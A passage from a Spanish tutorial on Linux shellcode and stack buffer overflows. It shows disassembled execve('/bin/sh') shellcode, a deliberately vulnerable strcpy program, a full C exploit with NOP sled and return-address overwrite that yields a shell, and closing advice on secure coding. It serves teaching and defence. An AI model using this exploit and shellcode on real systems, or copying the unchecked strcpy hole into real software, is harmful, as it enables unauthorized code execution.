8048366: 5e pop %esi
8048367: 89 76 08 mov %esi,0x8(%esi)
804836a: 31 c0 xor %eax,%eax
804836c: 89 46 0c mov %eax,0xc(%esi)
804836f: 88 46 07 mov %al,0x7(%esi)
8048372: b0 0b mov $0xb,%al
8048374: 89 f3 mov %esi,%ebx
8048376: 8d 4e 08 lea 0x8(%esi),%ecx
8048379: 8d 56 0c lea 0xc(%esi),%edx
804837c: cd 80 int $0x80
804837e: 31 db xor %ebx,%ebx
8048380: 89 d8 mov %ebx,%eax
8048382: 40 inc %eax
8048383: cd 80 int $0x80
Shellcode en Linux
08048385 <subrutina_call>:
8048385: e8 dc ff ff ff call 8048366 <subrutina>
804838a: 2f das
804838b: 62 69 6e bound %ebp,0x6e(%ecx)
804838e: 2f das
804838f: 6c insb (%dx),%es:(%edi)
8048390: 73 00 jae 8048392 <subrutina_call+0xd>
8048392: c9 leave
8048393: c3 ret
8048394: 90 nop
8048395: 90 nop
8048396: 90 nop
8048397: 90 nop
8048398: 90 nop
8048399: 90 nop
804839a: 90 nop
804839b: 90 nop
804839c: 90 nop
804839d: 90 nop
804839e: 90 nop
804839f: 90 nop
Shellcode en Linux
ovi@stake:~$ gcc o scode5 scode5.c
ovi@stake:~$ ./scode5
sh2.05b$ exit
exit
ovi@stake:~$
Llegados a este punto ya se tiene el shellcode en marcha. El siguiente paso es
probarlo sobre un programa que sea vulnerable. Para ello se va utilizar una
pequeña aplicación llamada bug.c
Este programa bug.c lo único que hace es pintar un texto en pantalla. Dicho
texto es el parámetro de entrada que se le haya dado al programa. Se puede
observar que se utilizando la funcion strcpy(), la cual no controla el tamaño
de las cadenas.
Y al usar esta función se está asignando a la variable “buf”, lo que se haya
pasado en el primer argumento del programa. Como buf es de tamaño de 1024
bytes y además strcpy no controla el tamaño de las cadenas, si se pasan mas de
1024 bytes como primer argumento del programa bug, al llegar a la función
strcpy() el programa provocará un Buffer Overflow.
Shellcode en Linux
De esto es lo que se a aprovechar el shellcode para conseguir una shell.
/* */
/* bug.c */
/* */
#include <stdio.h>
int main(int argc, char **argv) {
char buf[1024];
if (argc != 2) return 0;
memset(buf, 0, sizeof(buf));
strcpy(buf, argv[1]);
printf("Pintar : %s\n", buf );
}
ovi@stake:~$ gcc o bug bug.c
ovi@stake:~$ ./bug "Hola Mundo..."
Pintar : Hola Mundo...
ovi@stake:~$
Shellcode en Linux
Una vez construido el programa vulnerable hay que verificar si lo es, para ello
se le van a pasar distintos parámetros para ver qué sucede.
En el primer caso le pasamos como parámetro 1024 letras A, para el programa
los pinte en la pantalla. Parece absurdo, pero el objetivo es demostrar que el
programa es vulnerable:
ovi@stake:~$ ./bug `perl e '{print "A"x1024}'`
Pintar:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ovi@stake:~$
Shellcode en Linux
Como se ve, al pasar la 1024 letras A, el programa bug funciona
perfectamente y las muestra en pantalla. A continuación se le va a obligar a
pintar en la pantalla 1040 letras A
ovi@stake:~$ ./bug `perl e '{print "A"x1040}'`
Pintar :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Violación de segmento
ovi@stake:~$
Shellcode en Linux
En este caso el programa ha fallado, se ve por el mensaje: Violación de segmento.
Esto es justo lo que se estaba buscando, entonces ya se tiene la certeza que el
programa tiene un fallo de seguridad, por lo que se ha descubierto una forma
de reventarlo.
Podriamos imaginar encontrar este tipo de problemas en programas mas
serios. Pero todavia no esta claro que el shellcode vaya a funcionar por tanto
el siguiente paso es ver si funciona. El programa que explota la aplicación bug
es el que veremos a continuación y este es el tipo de programas que se
denomina exploits.
/* */
/* exploit.c */
/* */
#include <stdio.h>
#include <stdlib.h>
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
Shellcode en Linux
int main(void) {
// Cadena se le pasa al programa vulnerable.
char *buf = (char *)malloc(1040);
// Definicion de shellcode
char scode[]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long direccion=0xffffa18;
int i;
direccion = get_sp();
printf ("\n0x%lx\n", get_sp());
// Rellenamos la cadena de NOPs
for (i=0; i<1040;i+=4)
*(unsigned long *)&buf[i]=0x90909090;
Shellcode en Linux
// Escribimos las direciones en el buffer
*(unsigned long *)&buf[1040 4]=direccion;
*(unsigned long *)&buf[1040 8]=direccion;
memcpy(buf + 1040 strlen(scode) 8, scode, strlen(scode));
execl("./bug", "bug", buf, NULL);
return 0;
}
ë^ 1À FF °ó V
Í 1Û Ø@Í èÜÿÿÿ/bin/shùÿ¿ùÿ¿
sh2.05b$ exit
exit
ovi@stake:~$
Shellcode en Linux
Como se puede observar se ha conseguido la deseada shellcode, por tanto, el
programa bug es totalmente vulnerable. El caso que se ha demostrado es
probablemente el más fácil, para entender tales riesgos y defectos de
programación.
Pero como no todo el monte es orégano, no siempre es tan simple la forma de
encontrar y explotar fallos de seguridad relacionados con los Buffer
Overflows, sin embargo es un punto de partida para profundizar la seguridad
en los sistemas
¿Como protegerse?
Simplemente hace falta crear programas seguros, por muy pequeños o grandes
que sean no se vean afectados por problemas de seguridad. Por ello se van a
indicar algunas putas a tener en cuenta en la vida de cualquier programa:
Los programadores de aplicaciones deben de evitar suposiciones ya que estas
pueden llevar a un desastre.
Invertir tiempo en el analisis y diseño de aplicaciones, con esto el
programador consigue que la solución ante un problema de seguridad sea mas
efectiva y rápida.
Dedicar exhaustivamente a los test de prueba del software para determinar
posibles problemas.
Comprobar los distintos tipos y formatos de datos que puede recibir una
aplicación.
No permitir el desarrollo de programas con código muy complicado ni todo
lo contrario, con código muy sencillo.
¿Como protegerse?
Comprobar los límites de las variables y objetos de la aplicación para que
estos no sean utilizados para provocar problemas de seguridad.
Comprobar todos los códigos de retorno de cualquier función o programa.
Es fundamental que el programador de la aplicación pruebe la misma lo más
exhaustivamente posible, aunque exista un departamento de pruebas para
dicha tarea.
Implementar en la aplicación un exhaustivo control de errores, así cada vez
que falle la aplicación se tendrá controlado por qué fue.
Otorgar al software unos minimos privilegios, así un usuario cuando no esté
autorizado a dicho software, a priori, no podrá hacer uso del mismo.
¿Como protegerse?
Hay que tener en cuenta todas estas recomendaciones, pero quizás la
recomendación más normal de oír en estos entornos sea la de “ser paranoico”,
es decir, no fiarse de nada ni de nadie en lo que a seguridad informática se
refiere.
Aun así es posible que otro programador consiga encontrar un fallo de
seguridad. Las razones son sencillas, esta segunda persona va a intentar poner
al programa en situaciones inesperadas para observar cómo reacciona y sacar
sus propias conclusiones. Esto es ni mas ni menos que el famoso método
cientifico. Para ello se utilizan desensambladores para ver lo que sucede a
nivel de código máquina, como ya hemos visto en los ejemplos prácticos.
Links de interés
Gracias…